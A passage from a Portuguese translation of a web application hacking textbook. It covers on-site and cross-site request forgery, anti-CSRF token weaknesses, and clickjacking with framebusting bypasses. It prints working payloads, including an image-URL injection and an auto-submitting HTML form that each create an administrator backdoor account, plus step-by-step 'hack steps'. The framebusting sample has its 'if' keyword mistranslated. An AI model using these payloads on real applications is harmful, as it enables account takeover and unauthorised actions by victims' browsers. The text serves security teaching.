5. Você está atacando um aplicativo de webmail que manipula anexos de arquivos e os exibe no navegador. Qual vulnerabilidade comum você deve verificar imediatamente?
6. Como a política de mesma origem afeta o uso da tecnologia Ajax `XMLHttpRequest`?

7. Cite três possíveis cargas de ataque para explorações de XSS (ou seja, as ações maliciosas que você pode executar no navegador de outro usuário, não os métodos pelos quais você realiza os ataques).
8. Você descobriu uma vulnerabilidade de XSS refletida em que é possível injetar dados arbitrários em um único local dentro do HTML da página retornada. Os dados inseridos são truncados em 50 bytes, mas você deseja injetar um script longo. Você prefere não chamar um script em um servidor externo. Como você pode contornar o limite de tamanho?
9. Você descobre uma falha de XSS refletida em uma solicitação que deve usar o método `POST`
método. Quais mecanismos de entrega são viáveis para realizar um ataque?

CAPÍTULO

13

Atacar usuários: Outros Técnicas

O capítulo anterior examinou o avô dos ataques contra outros usuários de aplicativos - cross-site scripting (XSS). Este capítulo descreve uma ampla gama de outros ataques contra usuários. Alguns deles têm semelhanças importantes com os ataques XSS. Em muitos casos, os ataques são mais complexos ou sutis do que os ataques XSS e podem ser bem-sucedidos em situações em que o XSS simples não é possível.

Os ataques contra outros usuários de aplicativos ocorrem de várias formas e manifestam uma variedade de sutilezas e nuances que são frequentemente ignoradas. Em geral, eles também são menos bem compreendidos do que os ataques primários do lado do servidor, com diferentes falhas sendo confundidas ou negligenciadas até mesmo por alguns testadores de penetração experientes. Descreveremos todas as diferentes vulnerabilidades que são comumente encontradas e explicaremos as etapas que você precisa seguir para identificar e explorar cada uma delas.

Induzir ações do usuário

O capítulo anterior descreveu como os ataques XSS podem ser usados para induzir um usuário a realizar ações involuntárias no aplicativo. Quando o usuário vítima tem privilégios administrativos, essa técnica pode levar rapidamente ao comprometimento total do aplicativo. Esta seção examina alguns métodos adicionais que podem ser usados para induzir ações de outros usuários. Esses métodos podem ser usados até mesmo em aplicativos protegidos contra XSS.

Solicitação de falsificação

Essa categoria de ataque (também conhecida como *session riding*) está intimamente relacionada aos ataques de sequestro de sessão, nos quais um invasor captura o token de sessão de um usuário e, portanto, pode usar o aplicativo "como" esse usuário. No entanto, com a falsificação de solicitações, o invasor nunca precisa saber de fato o token de sessão da vítima. Em vez disso, o invasor explora o comportamento normal dos navegadores da Web para sequestrar o token de um usuário, fazendo com que ele seja usado para fazer solicitações que o usuário não pretende fazer.

As vulnerabilidades de falsificação de solicitações são de dois tipos: no local e entre sites.

Falsificação de solicitação no local

A falsificação de solicitação no local (OSRF) é uma carga útil de ataque conhecida para a exploração de vulnerabilidades XSS armazenadas. No worm do MySpace, descrito no capítulo anterior, um usuário chamado Samy colocou um script em seu perfil que fez com que qualquer usuário que visualizasse o perfil executasse várias ações involuntárias. O que geralmente não é levado em conta é que as vulnerabilidades armazenadas de OSRF podem existir mesmo em situações em que o XSS não é possível.

Considere um aplicativo de quadro de mensagens que permite que os usuários enviem itens que são visualizados por outros usuários. As mensagens são enviadas usando uma solicitação como a seguinte:

```
POST /submit.php
Host: wahh-app.com
Content-Length: 34

type=question&name=daf&message=foo
```

Essa solicitação faz com que o seguinte seja adicionado à página de mensagens:

```
<tr>
  <td><img src="/images/question.gif"></td>
  <td>daf</td>
  <td>foo</td>
</tr>
```

Nessa situação, você testaria, é claro, as falhas de XSS. No entanto, suponha que o aplicativo esteja codificando corretamente em HTML todos os caracteres `"<` e `>` que ele insere na página. Quando estiver convencido de que essa defesa não pode ser contornada de forma alguma, você poderá passar para o próximo teste.

Mas veja novamente. Você controla parte do destino da tag `<img>`. Embora não possa sair da cadeia de caracteres entre aspas, você pode modificar o URL para fazer com que qualquer usuário que visualize sua mensagem faça uma solicitação `GET` arbitrária no site. Por exemplo, enviar o seguinte valor no parâmetro `type` faz com que qualquer pessoa que visualize sua mensagem faça uma solicitação que tente adicionar um novo usuário administrativo:

```
../admin/newUser.php?username=daf2&password=0wned&role=admin#
```

Quando um usuário comum é induzido a emitir sua solicitação criada, ela, obviamente, falha. Mas quando um administrador visualiza sua mensagem, sua conta backdoor é criada. Você realizou um ataque OSRF bem-sucedido, embora o XSS não fosse possível. E, é claro, o ataque é bem-sucedido mesmo que os administradores tomem a precaução de desativar o JavaScript.

Na string de ataque anterior, observe o caractere `#` que efetivamente encerra o URL antes do sufixo `.gif`. Você poderia facilmente usar `&` para incorporar o sufixo como um parâmetro de solicitação adicional.

EXPERIMENTE!

Nesse exemplo, um exploit OSRF pode ser colocado na lista de pesquisas recentes, mesmo que isso não seja vulnerável a XSS:

```
http://mdsec.net/search/77/
```

ETAPAS DO HACK

1. Em todos os locais em que os dados enviados por um usuário são exibidos para outros usuários, mas não é possível executar um ataque XSS armazenado, verifique se o comportamento do aplicativo o deixa vulnerável a OSRF.
2. A vulnerabilidade normalmente surge quando os dados fornecidos pelo usuário são inseridos no destino de um hiperlink ou outro URL dentro da página retornada. A menos que o aplicativo bloqueie especificamente os caracteres necessários (normalmente pontos, barras e os delimitadores usados na string de consulta), é quase certo que ele seja vulnerável.
3. Se você descobrir uma vulnerabilidade de OSRF, procure uma solicitação adequada para fazer a exploração, conforme descrito na próxima seção sobre falsificação de solicitação entre sites.

As vulnerabilidades de OSRF podem ser evitadas validando a entrada do usuário da forma mais rigorosa possível antes que ela seja incorporada às respostas. Por exemplo, no caso específico descrito, o aplicativo poderia verificar se o parâmetro `type` tem um de um intervalo específico de valores. Se o aplicativo precisar aceitar outros valores que não possam ser previstos com antecedência, a entrada contendo qualquer um dos caracteres `/ . \ ? &` e `=` deve ser bloqueada.

Observe que a codificação HTML desses caracteres *não é* uma defesa eficaz contra ataques OSRF, pois os navegadores decodificarão a cadeia de caracteres do URL de destino antes que ela seja solicitada.

Dependendo do ponto de inserção e do contexto ao redor, também pode ser possível evitar ataques OSRF usando as mesmas defesas descritas na próxima seção para ataques de falsificação de solicitações entre sites.

Falsificação de solicitação entre sites

Nos ataques de falsificação de solicitação entre sites (CSRF), o invasor cria um site de aparência inócua que faz com que o navegador do usuário envie uma solicitação diretamente ao aplicativo vulnerável para executar alguma ação não intencional que seja benéfica para o invasor.

Lembre-se de que a política de mesma origem não proíbe um site de emitir solicitações para um domínio diferente. No entanto, ela impede que o site de origem processe as respostas a solicitações entre domínios. Portanto, os ataques CSRF normalmente são apenas "unidirecionais". Ações de vários estágios, como as envolvidas no worm Samy XSS, em que os dados são lidos das respostas e incorporados a solicitações posteriores, não podem ser executadas usando um ataque CSRF puro. (Alguns métodos pelos quais as técnicas de CSRF podem ser estendidas para realizar ataques bidirecionais limitados e capturar dados entre domínios são descritos mais adiante neste capítulo).

Considere um aplicativo no qual os administradores podem criar novas contas de usuário usando solicitações como as seguintes:

```
POST /auth/390/NewUserStep2.ashx HTTP/1.1
Host: mdsec.net
Cookie: SessionId=8299BE6B260193DA076383A2385B07B9
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

realname=daf&username=daf&userrole=admin&password=letmein1&
confirmpassword=letmein1
```

Essa solicitação tem três recursos principais que a tornam vulnerável a ataques CSRF:

- A solicitação executa uma ação privilegiada. No exemplo mostrado, a solicitação cria um novo usuário com privilégios administrativos.
- O aplicativo depende exclusivamente de cookies HTTP para rastrear sessões. Nenhum token relacionado à sessão é transmitido em outra parte da solicitação.
- O invasor pode determinar todos os parâmetros necessários para executar a ação. Além do token de sessão no cookie, nenhum valor imprevisível precisa ser incluído na solicitação.

Juntos, esses recursos significam que um invasor pode construir uma página da Web que faz uma solicitação entre domínios para o aplicativo vulnerável, contendo tudo o que é necessário para executar a ação privilegiada. Aqui está um exemplo desse tipo de ataque:

```
<html>
<body>
<form action="https://mdsec.net/auth/390/NewUserStep2.ashx" method="POST">
```

```
<input type="hidden" name="realname" value="daf">
<input type="hidden" name="username" value="daf">
<input type="hidden" name="userrole" value="admin">
<input type="hidden" name="password" value="letmein1">
<input type="hidden" name="confirmpassword" value="letmein1">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```

Esse ataque coloca todos os parâmetros da solicitação em campos de formulário ocultos e contém um script para enviar automaticamente o formulário. Quando o navegador do usuário envia o formulário, ele adiciona automaticamente os cookies do usuário para o domínio de destino, e o aplicativo processa a solicitação resultante da maneira usual. Se um usuário administrativo que estiver conectado ao aplicativo vulnerável visitar a página da Web do invasor que contém esse formulário, a solicitação será processada na sessão do administrador e a conta do invasor será criada.

EXPERIMENTE!

`http://mdsec.net/auth/390/`

Um exemplo real de uma falha de CSRF foi encontrado no aplicativo eBay por Dave Armstrong em 2004. Era possível criar um URL que levava o usuário solicitante a fazer um lance arbitrário em um item de leilão. Um site de terceiros poderia fazer com que os visitantes solicitassem esse URL, de modo que qualquer usuário do eBay que visitasse o site daria um lance. Além disso, com um pouco de trabalho, foi possível explorar a vulnerabilidade em um ataque OSRF armazenado dentro do próprio aplicativo eBay. O aplicativo permitia que os usuários colocassem tags `<img>` nas descrições dos leilões. Para se defender contra ataques, o aplicativo validava que o destino da tag retornava um arquivo de imagem real. No entanto, era possível colocar um link para um servidor externo que retornava uma imagem legítima quando o item do leilão era criado e, posteriormente, substituir essa imagem por um redirecionamento HTTP para o URL CSRF criado. Dessa forma, qualquer pessoa que visualizasse o item de leilão poderia, sem querer, fazer um lance nele. Mais detalhes podem ser encontrados na postagem original do Bugtraq:

`http://archive.cert.uni-stuttgart.de/bugtraq/2005/04/msg00279.html`

OBSERVAÇÃO O defeito na validação de imagens fora do local pelo aplicativo é conhecido como uma falha de "tempo de verificação, tempo de uso" (TOCTOU). Um item é validado em um momento e usado em outro momento, e um invasor pode modificar seu valor na janela entre esses momentos.

Exploração de falhas de CSRF

As vulnerabilidades de CSRF surgem principalmente nos casos em que os aplicativos dependem exclusivamente de cookies HTTP para rastrear sessões. Depois que um aplicativo define um cookie no navegador de um usuário, o navegador envia automaticamente esse cookie para o aplicativo em todas as solicitações subsequentes. Isso é verdade independentemente de a solicitação ser originada de um link, de um formulário dentro do próprio aplicativo ou de qualquer outra fonte, como um site externo ou um link clicado em um e-mail. Se o aplicativo não tomar precauções contra a "cavalgada" de um invasor nas sessões de seus usuários dessa forma, ele estará vulnerável a CSRF.

ETAPAS DO HACK

1. Analise a funcionalidade principal do aplicativo, conforme identificado nos exercícios de mapeamento do aplicativo (consulte o Capítulo 4).
2. Encontre uma função de aplicativo que possa ser usada para executar alguma ação sensível em nome de um usuário involuntário, que dependa exclusivamente de cookies para rastrear as sessões do usuário e que empregue parâmetros de solicitação que um invasor possa determinar totalmente com antecedência, ou seja, que não contenha outros tokens ou itens imprevisíveis.
3. Crie uma página HTML que emita a solicitação desejada sem nenhuma interação do usuário. Para solicitações **GET**, você pode colocar uma tag **<img>** com o atributo **src** definido para o URL vulnerável. Para solicitações **POST**, você pode criar um formulário que contenha campos ocultos para todos os parâmetros relevantes necessários para o ataque e que tenha seu destino definido para o URL vulnerável. Você pode usar o JavaScript para enviar automaticamente o formulário assim que a página for carregada.
4. Enquanto estiver conectado ao aplicativo, use o mesmo navegador para carregar a página HTML criada. Verifique se a ação desejada é executada no aplicativo.

DICA A possibilidade de ataques CSRF altera o impacto de várias outras categorias de vulnerabilidade ao introduzir um vetor adicional para sua exploração. Por exemplo, considere uma função administrativa que recebe um identificador de usuário em um parâmetro e exibe informações sobre o usuário especificado. A função está sujeita a um rigoroso controle de acesso, mas contém uma vulnerabilidade de injeção de SQL no parâmetro **uid**. Como os administradores de aplicativos são confiáveis e têm controle total do banco de dados em qualquer caso, a vulnerabilidade de injeção de SQL pode ser considerada de baixo risco. No entanto, como a função não executa (como originalmente pretendido) nenhuma ação administrativa, ela não está protegida contra CSRF. Do ponto de vista de um invasor, a função é igualmente

significativo como um especificamente projetado para que os administradores executem consultas SQL arbitrárias. Se for possível injetar uma consulta que execute alguma ação sensível ou que recupere dados por meio de algum canal fora da banda, esse ataque poderá ser realizado por usuários não administrativos por meio de CSRF.

Autenticação e CSRF

Como os ataques CSRF envolvem a execução de alguma ação privilegiada no contexto da sessão do usuário vítima, eles normalmente exigem que o usuário esteja conectado ao aplicativo no momento do ataque.

Um local onde surgiram várias vulnerabilidades perigosas de CSRF é nas interfaces da Web usadas por roteadores DSL domésticos. Esses dispositivos geralmente contêm funções confidenciais, como a capacidade de abrir todas as portas do firewall voltado para a Internet. Como essas funções geralmente não são protegidas contra CSRF e como a maioria dos usuários não modifica o endereço IP interno padrão do dispositivo, elas são vulneráveis a ataques de CSRF fornecidos por sites externos mal-intencionados. No entanto, os dispositivos em questão geralmente exigem autenticação para fazer alterações confidenciais, e a maioria dos usuários geralmente não está conectada ao dispositivo.

Se a interface da Web do dispositivo usar autenticação baseada em formulários, geralmente é possível realizar um ataque em dois estágios, primeiro registrando o usuário no dispositivo e depois executando a ação autenticada. Como a maioria dos usuários não modifica as credenciais padrão para dispositivos desse tipo (talvez presumindo que a interface da Web possa ser acessada somente pela rede doméstica interna), a página da Web do invasor pode primeiro emitir uma solicitação de login contendo credenciais padrão. Em seguida, o dispositivo define um token de sessão no navegador do usuário, que é enviado automaticamente em todas as solicitações subsequentes, inclusive as geradas pelo invasor.

Em outras situações, um invasor pode exigir que o usuário vítima esteja conectado ao aplicativo no contexto de usuário do próprio invasor para realizar um ataque específico. Por exemplo, considere um aplicativo que permite que os usuários carreguem e armazenem arquivos. Esses arquivos podem ser baixados posteriormente, mas somente pelo usuário que os carregou. Suponha que a função possa ser usada para realizar ataques XSS armazenados, pois não ocorre nenhuma filtragem do conteúdo do arquivo (consulte o Capítulo 12). Essa vulnerabilidade pode parecer inofensiva, já que um invasor só poderia usá-la para atacar a si mesmo. No entanto, usando técnicas de CSRF, um invasor pode, de fato, explorar a vulnerabilidade XSS armazenada para comprometer outros usuários. Conforme já descrito, a página da Web do invasor pode fazer uma solicitação de CSRF para forçar um usuário vítima a fazer login usando as credenciais do invasor. A página do invasor pode então fazer uma solicitação de CSRF para fazer download de um arquivo malicioso. Quando o navegador do usuário processa esse arquivo, a carga útil XSS do invasor é executada e a sessão do usuário com o aplicativo vulnerável é comprometida. Embora a vítima esteja conectada no momento usando

a conta do atacante, mas isso não precisa ser o fim do ataque. Conforme descrito no Capítulo 12, a exploração de XSS pode persistir no navegador do usuário e executar ações arbitrárias, desconectando o usuário de sua sessão atual com o aplicativo vulnerável e induzindo-o a fazer login novamente usando suas próprias credenciais.

Prevenção de falhas de CSRF

As vulnerabilidades de CSRF surgem devido à forma como os navegadores enviam automaticamente os cookies de volta ao servidor da Web emissor a cada solicitação subsequente. Se um aplicativo da Web depender exclusivamente de cookies HTTP como seu mecanismo de rastreamento de sessões, ele estará inerentemente em risco de sofrer esse tipo de ataque.

A defesa padrão contra ataques CSRF é complementar os cookies HTTP com métodos adicionais de rastreamento de sessões. Em geral, isso assume a forma de tokens adicionais que são transmitidos por meio de campos ocultos em formulários HTML. Quando cada solicitação é enviada, além de validar os cookies de sessão, o aplicativo verifica se o token correto foi recebido no envio do formulário. Supondo que o invasor não tenha como determinar o valor desse token, ele não pode criar uma solicitação entre domínios que consiga executar a ação desejada.

OBSERVAÇÃO Mesmo as funções que são defendidas de forma robusta usando tokens CSRF podem ser vulneráveis a ataques de reparação da interface do usuário (UI), conforme descrito mais adiante neste capítulo.

Quando os tokens anti-CSRF são usados dessa forma, eles devem estar sujeitos às mesmas proteções que os tokens de sessão normais. Se um invasor puder prever os valores dos tokens que são emitidos para outros usuários, ele poderá determinar todos os parâmetros necessários para uma solicitação CSRF e, portanto, ainda realizar um ataque. Além disso, se os tokens anti-CSRF não estiverem vinculados à sessão do usuário para o qual foram emitidos, um invasor poderá obter um token válido dentro de sua própria sessão e usá-lo em um ataque CSRF que tenha como alvo a sessão de um usuário diferente.

EXPERIMENTE!

```
http://mdsec.net/auth/395/
http://mdsec.net/auth/404/
```

AVISO Alguns aplicativos usam tokens anti-CSRF relativamente curtos, supondo que eles não serão s u b m e t i d o s a ataques de força bruta da mesma forma que os tokens de sessão curtos. Qualquer ataque que enviasse um intervalo de valores possíveis para o aplicativo precisaria enviá-los por meio do navegador da vítima, o que envolveria um grande número de solicitações que poderiam ser facilmente percebidas. Além disso,

o aplicativo pode encerrar a sessão do usuário de forma defensiva se receber muitos tokens anti-CSRF inválidos, interrompendo assim o ataque.

No entanto, isso ignora a possibilidade de realizar um ataque de força bruta puramente no lado do cliente, sem enviar nenhuma solicitação ao servidor. Em algumas situações, esse ataque pode ser realizado usando uma técnica baseada em CSS para enumerar o histórico de navegação de um usuário. Para que esse ataque seja bem-sucedido, duas condições devem ser atendidas:

- Às vezes, o aplicativo precisa transmitir um token anti-CSRF dentro da string de consulta do URL. Isso geralmente acontece porque muitas funções protegidas são acessadas por meio de hiperlinks simples que contêm um token no URL de destino.
- O aplicativo deve usar o mesmo token anti-CSRF durante toda a sessão do usuário ou tolerar o uso do mesmo token mais de uma vez. Isso geralmente ocorre para aprimorar a experiência do usuário e permitir o uso dos botões de voltar e avançar do navegador.

Se essas condições se mantiverem e o usuário-alvo já tiver visitado um URL que inclua um token anti-CSRF, o invasor poderá realizar um ataque de força bruta em sua própria página. Nesse caso, um script na página do invasor cria dinamicamente hiperlinks para o URL relevante no aplicativo de destino, incluindo um valor diferente para o token anti-CSRF em cada link. Em seguida, ele usa a API JavaScript **`getCom- putedStyle`** para testar se o usuário visitou o link. Quando um link visitado é identificado, um token anti-CSRF válido foi encontrado, e a página do invasor pode usá-lo para executar ações confidenciais em nome do usuário.

Observe que, para se defender contra ataques de CSRF, não é suficiente simplesmente executar ações confidenciais usando um processo de vários estágios. Por exemplo, quando um administrador adiciona uma nova conta de usuário, ele pode inserir os detalhes relevantes no primeiro estágio e, em seguida, revisar e confirmar os detalhes no segundo estágio. Se nenhum token anti-CSRF adicional estiver sendo usado, a função ainda estará vulnerável ao CSRF, e um invasor poderá simplesmente emitir as duas solicitações necessárias, uma de cada vez, ou (muito frequentemente) prosseguir diretamente para a segunda solicitação.

Ocasionalmente, uma função de aplicativo emprega um token adicional que é definido em uma resposta e enviado na próxima solicitação. No entanto, a transição entre essas duas etapas envolve um redirecionamento, de modo que a defesa não alcança nada. Embora o CSRF seja um ataque unidirecional e não possa ser usado para ler tokens de respostas de aplicativos, se uma resposta CSRF contiver um redirecionamento para um URL diferente que contenha um token, o navegador da vítima seguirá automaticamente o redirecionamento e enviará automaticamente o token com essa solicitação.

EXPERIMENTE!

`http://mdsec.net/auth/398/`

Não cometa o erro de confiar no cabeçalho HTTP `Referer` para indicar se uma solicitação foi originada no local ou fora dele. O cabeçalho `Referer` pode ser falsificado usando versões mais antigas do Flash ou mascarado usando uma meta tag de atualização. Em geral, o cabeçalho `Referer` não é uma base confiável para a criação de defesas de segurança em aplicativos da Web.

Derrota das defesas anti-CSRF por meio de XSS

Muitas vezes, afirma-se que as defesas anti-CSRF podem ser derrotadas se o aplicativo contiver alguma vulnerabilidade XSS. Mas isso é apenas parcialmente verdadeiro. A ideia por trás da alegação está correta: como as cargas úteis de XSS são executadas no local, elas podem realizar uma interação bidirecional com o aplicativo e, portanto, podem recuperar tokens das respostas do aplicativo e enviá-los em solicitações subsequentes.

No entanto, se uma página que estiver protegida por defesas anti-CSRF também contiver uma falha de XSS refletida, essa falha não poderá ser usada facilmente para quebrar as defesas. Não se esqueça de que a solicitação inicial em um ataque de XSS refletido é, em si, entre sites. O invasor cria uma solicitação de URL ou `POST` contendo uma entrada mal-intencionada que é copiada na resposta do aplicativo. Mas se a página vulnerável implementar defesas anti-CSRF, a solicitação criada pelo invasor *já* deverá conter o token necessário para ser bem-sucedida. Caso contrário, a solicitação será rejeitada e o caminho do código que contém a falha de XSS refletida não será executado. A questão aqui não é se o script injetado pode ler quaisquer tokens contidos na resposta do aplicativo (é claro que pode). A questão é, em primeiro lugar, colocar o script em uma resposta que contenha esses tokens.

De fato, há várias situações em que as vulnerabilidades de XSS podem ser exploradas para derrotar as defesas anti-CSRF:

- Se houver alguma falha de XSS armazenada na funcionalidade defendida, ela sempre poderá ser explorada para anular as defesas. O JavaScript injetado por meio do ataque armazenado pode ler diretamente os tokens contidos na mesma resposta em que o script aparece.
- Se o aplicativo empregar defesas anti-CSRF em apenas parte de sua funcionalidade e houver uma falha de XSS refletida em uma função que não esteja protegida contra CSRF, essa falha poderá ser explorada para anular as defesas anti-CSRF. Por exemplo, se um aplicativo empregar tokens anti-CSRF para proteger apenas a segunda etapa de uma função de transferência de fundos, um invasor poderá aproveitar um ataque de XSS refletido em outro local para anular a defesa. Um script injetado por meio dessa falha pode fazer uma solicitação no local para a primeira etapa da transferência de fundos, recuperar o token e usá-lo para solicitar a segunda etapa. O ataque é bem-sucedido porque a primeira etapa da transferência, que não é protegida contra CSRF, retorna o token necessário para acessar a página protegida. A dependência de apenas cookies HTTP para acessar a primeira etapa significa que ela pode ser aproveitada para obter acesso ao token que defende a segunda etapa.

- Em alguns aplicativos, os tokens anti-CSRF são vinculados apenas ao usuário atual, e não à sua sessão. Nessa situação, se o formulário de login não estiver protegido contra CSRF, uma exploração em vários estágios ainda poderá ser possível. Primeiro, o invasor faz login em sua própria conta para obter um token anti-CSRF válido que esteja vinculado à sua identidade de usuário. Em seguida, ele usa o CSRF no formulário de login para forçar o usuário vítima a fazer login usando as credenciais do invasor, como já foi descrito para a exploração de vulnerabilidades XSS armazenadas pelo mesmo usuário. Depois que o usuário faz login como o invasor, o invasor usa CSRF para fazer com que o usuário emita uma solicitação que explora a falha de XSS, usando o token anti-CSRF adquirido anteriormente pelo invasor. A carga útil XSS do invasor é então executada no navegador do usuário. Como o usuário ainda está conectado como o invasor, a carga XSS pode precisar desconectar o usuário novamente e induzi-lo a fazer login novamente, o que faz com que as credenciais de login do usuário e a sessão do aplicativo resultante sejam totalmente comprometidas.
- Se os tokens anti-CSRF não estiverem vinculados ao usuário, mas à sessão atual, uma variação do ataque anterior poderá ser possível se houver algum método disponível para o invasor injetar cookies no navegador do usuário (conforme descrito mais adiante neste capítulo). Em vez de usar um ataque CSRF contra o formulário de login com as próprias credenciais do invasor, o invasor pode alimentar diretamente o usuário com seu token de sessão atual e o token anti-CSRF que está vinculado a ele. O restante do ataque prossegue conforme descrito anteriormente.

Deixando de lado esses cenários, as defesas robustas contra ataques CSRF, em muitas situações, tornam consideravelmente mais difícil, se não impossível, a exploração de algumas vulnerabilidades XSS refletidas. No entanto, nem é preciso dizer que todas as condições de XSS em um aplicativo devem sempre ser corrigidas, independentemente de quaisquer proteções anti-CSRF em vigor que possam, em algumas situações, frustrar um invasor que esteja tentando explorá-las.

Reparação de IU

Fundamentalmente, as defesas anti-CSRF que envolvem tokens dentro da página visam garantir que as solicitações feitas por um usuário sejam originadas das ações desse usuário dentro do próprio aplicativo e não sejam induzidas por algum domínio de terceiros. Os ataques de reparação de interface do usuário são projetados para permitir que um site de terceiros induza ações do usuário em outro domínio, mesmo que os tokens anti-CSRF estejam sendo usados. Esses ataques funcionam porque, no sentido relevante, as solicitações resultantes realmente se originam no aplicativo que está sendo visado. As técnicas de reparação de interface do usuário também são frequentemente chamadas de "clickjacking", "strokejacking" e outras palavras da moda.

Em sua forma básica, um ataque de reparação de IU envolve a página da Web do invasor carregando o aplicativo de destino em um `iframe` na página do invasor. Na verdade, o invasor sobrepõe a interface do aplicativo de destino com uma interface diferente

fornecida pelo atacante. A interface do invasor contém conteúdo para atrair o usuário e induzi-lo a realizar ações, como clicar com o mouse em uma determinada região da página. Quando o usuário executa essas ações, embora pareça que ele está clicando nos botões e em outros elementos da interface do usuário visíveis na interface do invasor, ele está interagindo inconscientemente com a interface do aplicativo que está sendo visado.

Por exemplo, suponha que uma função bancária para fazer uma transferência de pagamento envolva duas etapas. Na primeira etapa, o usuário envia os detalhes da transferência. A resposta a essa solicitação exibe esses detalhes e também um botão para confirmar a ação e fazer o pagamento. Além disso, em uma tentativa de evitar ataques CSRF, o formulário na resposta inclui um campo oculto que contém um token imprevisível. Esse token é enviado quando o usuário clica no botão de confirmação, e o aplicativo verifica seu valor antes de transferir os fundos.

No ataque de reparação da interface do usuário, a página do invasor envia a primeira solicitação nesse processo usando CSRF convencional. Isso é feito em um `iframe` dentro da página do invasor. Como faz normalmente, o aplicativo responde com os detalhes do usuário a ser adicionado e um botão para confirmar a ação. Essa resposta é "exibida" no `iframe` do invasor, que é sobreposto com a interface do invasor projetada para induzir a vítima a clicar na região que contém o botão de confirmação. Quando o usuário clica nessa região, ele clica inconscientemente no botão de confirmação no aplicativo de destino, de modo que o novo usuário é criado. Esse ataque básico é ilustrado na Figura 13-1.

Figura 13-1: Um ataque básico de reparação de IU

O motivo pelo qual esse ataque é bem-sucedido, onde um ataque CSRF puro falharia, é que o token anti-CSRF usado pelo aplicativo é processado da maneira normal. Embora a página do invasor não possa ler o valor desse token devido à política de mesma origem, o formulário no `iframe` do invasor inclui o token

gerado pelo aplicativo e o envia de volta ao aplicativo quando a vítima clica inadvertidamente no botão de confirmação. No que diz respeito ao aplicativo de destino, tudo está normal.

Para aplicar o truque principal de fazer com que o usuário vítima veja uma interface, mas interaja com outra diferente, o invasor pode empregar várias técnicas de CSS. O `iframe` que carrega a interface de destino pode ter um tamanho arbitrário, estar em um local arbitrário na página do atacante e mostrar um local arbitrário na página de destino. Usando atributos de estilo adequados, ele pode ser completamente transparente para que o usuário não o veja.

EXPERIMENTE!

http://mdsec.net/auth/405/

Desenvolvendo ainda mais o ataque básico, o invasor pode usar um código de script complexo em sua interface para induzir ações mais elaboradas do que simplesmente clicar em um botão. Suponha que um ataque exija que o usuário insira algum texto em um campo de entrada (por exemplo, no campo de valor de uma página de transferência de fundos). A interface de usuário do invasor pode conter algum conteúdo que induza o usuário a digitar (por exemplo, um formulário para inserir um número de telefone para ganhar um prêmio). Um script na página do invasor pode manipular seletivamente os pressionamentos de tecla para que, quando um caractere desejado for digitado, o evento do pressionamento de tecla seja efetivamente passado para a interface de destino para preencher o campo de entrada necessário. Se o usuário digitar um caractere que o invasor não deseja inserir na interface de destino, o pressionamento de tecla não será transmitido para essa interface e o script do invasor aguardará o próximo pressionamento de tecla.

Em outra variação, a página do invasor pode conter conteúdo que induz o usuário a executar ações de arrastar o mouse, como um jogo simples. O script executado na página do invasor pode manipular seletivamente os eventos resultantes de forma que o usuário selecione involuntariamente o texto na interface do aplicativo de destino e o arraste para um campo de entrada na interface do invasor, ou vice-versa. Por exemplo, ao visar um aplicativo de webmail, o invasor pode induzir o usuário a arrastar o texto de uma mensagem de e-mail para um campo de entrada que o invasor possa ler. Como alternativa, o usuário pode ser levado a criar uma regra para encaminhar todos os e-mails para o invasor e arrastar o endereço de e-mail necessário da interface do invasor para o campo de entrada relevante no formulário que define a regra. Além disso, como os links e as imagens são arrastados como URLs, o invasor pode induzir ações de arrastar para capturar URLs confidenciais, inclusive tokens anti-CSRF, da interface do aplicativo de destino.

Uma explicação útil desses e de outros vetores de ataque, bem como dos métodos pelos quais eles podem ser aplicados, pode ser encontrada aqui:

http://ui-redressing.mniemietz.de/uiRedressing.pdf

Defesas de destruição de estruturas

Quando os ataques de correção de interface do usuário foram amplamente discutidos pela primeira vez, muitos aplicativos da Web de alto nível procuraram se defender contra eles usando uma técnica defensiva conhecida como *framebusting*. Em alguns casos, isso já estava sendo usado para se defender de outros ataques baseados em quadros.

O framebusting pode assumir várias formas, mas basicamente envolve cada página relevante de um aplicativo que executa um script para detectar se está sendo carregada dentro de um `iframe`. Em caso afirmativo, é feita uma tentativa de "sair" do `iframe` ou é executada alguma outra ação defensiva, como o redirecionamento para uma página de erro ou a recusa em exibir a própria interface do aplicativo.

Um estudo da Universidade de Stanford, em 2010, examinou as defesas contra framebusting usadas por 500 dos principais sites. Ele descobriu que, em todos os casos, essas defesas podiam ser contornadas de uma forma ou de outra. Como isso pode ser feito depende dos detalhes específicos de cada defesa, mas pode ser ilustrado usando um exemplo comum de código de framebusting:

```
<script>
    Se (top.location != self.location)
        { top.location = self.location }
</script>
```

Esse código verifica se o URL da própria página corresponde ao URL do quadro superior na janela do navegador. Se não corresponder, a página foi carregada em um quadro filho. Nesse caso, o script tenta sair do quadro recarregando-se no quadro de nível superior da janela.

Um invasor que realiza um ataque de reparação da interface do usuário pode contornar essa defesa para enquadrar com êxito a página de destino de várias maneiras:

- Como a página do invasor controla o quadro de nível superior, ele pode redefinir o significado de `top.location` para que ocorra uma exceção quando um quadro filho tentar fazer referência a ele. Por exemplo, no Internet Explorer, o invasor pode executar o seguinte código:

  ```
  var location = 'foo';
  ```

  Isso redefine `o local` como uma variável local no quadro de nível superior para que o código executado em um quadro secundário não possa acessá-lo.

- O quadro de nível superior pode conectar o evento `window.onbeforeunload` para que o manipulador de eventos do invasor seja executado quando o código de eliminação de quadros tentar definir o local do quadro de nível superior. O código do invasor pode executar um redirecionamento adicional para um URL que retorna uma resposta HTTP 204 (Sem conteúdo). Isso faz com que o navegador cancele a cadeia de chamadas de redirecionamento e deixa o URL do quadro de nível superior inalterado.

- O quadro de nível superior pode definir o atributo `sandbox` ao carregar o aplicativo de destino em um quadro filho. Isso desativa a criação de scripts no quadro filho e mantém os cookies ativados.

- O frame de nível superior pode aproveitar o filtro XSS do IE para desativar seletivamente o script de eliminação de frames dentro do frame filho, conforme descrito no Capítulo 12. Quando a página do invasor especifica o URL para o alvo `do iframe`, ela pode incluir um novo parâmetro cujo valor contém uma parte adequada do script de eliminação de frames. O filtro XSS do IE identifica o código de script no valor do parâmetro e na resposta do aplicativo de destino e desativa o script na resposta para proteger o usuário.

EXPERIMENTE!

`http://mdsec.net/auth/406/`

Impedindo a reparação da IU

O consenso atual é que, embora alguns tipos de código de framebusting possam impedir ataques de reparação de IU em algumas situações, não se deve confiar nessa técnica como uma defesa infalível contra esses ataques.

